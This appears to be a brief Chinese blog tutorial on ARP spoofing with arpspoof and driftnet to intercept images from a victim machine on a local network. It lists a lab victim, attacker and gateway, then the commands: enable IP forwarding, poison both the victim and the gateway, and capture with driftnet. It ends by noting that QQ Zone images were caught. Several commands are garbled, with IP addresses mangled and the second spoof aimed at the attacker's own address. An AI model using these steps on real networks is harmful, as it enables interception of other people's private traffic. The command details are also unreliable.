arpspoof+driftnet+ ARP欺騙簡單圖片抓取

標籤：qq空間   圖片   for   png   工具   資料包   使用   攻擊機   9.png   

arpspoof+driftnet+ ARP欺騙簡單圖片抓取

driftnet是一款簡單而使用的圖片捕獲工具，可以很方便的在網路資料包中抓取圖片。該工具可以即時和離線捕獲指定資料包中是圖片
環境

受害ip：192.168.228.130攻擊ip：192.168.228.129網關：192.168.228.2

條件

1，開啟或關閉IP轉寄2，向被攻擊機器發送arp欺騙資料包，冒充網關3，向網關發送arp資料欺騙網關，冒充被攻擊機器4，運行driftnet截取圖片

開啟IP轉寄功能

cat /proc/sys/net/ipv4/ip_forwardecho 1 > /proc/sys/net/ipv4/ip_forwardcat /proc/sys/net/ipv4/ip_forward

重新導向受害者的流量傳送給攻擊者

arpspoof -t 192.168.130 168.168.228.2 -i eth0

使網關的資料重新導向到攻擊者的機器。（流量由網關到攻擊者再到受攻擊者）

arpspoof -t 168.168.228.2 192.168.228.129 -i eth0

監聽

driftnet -i eth0

抓到的QQ空間圖片-^^-

arpspoof+driftnet+ ARP欺騙簡單圖片抓取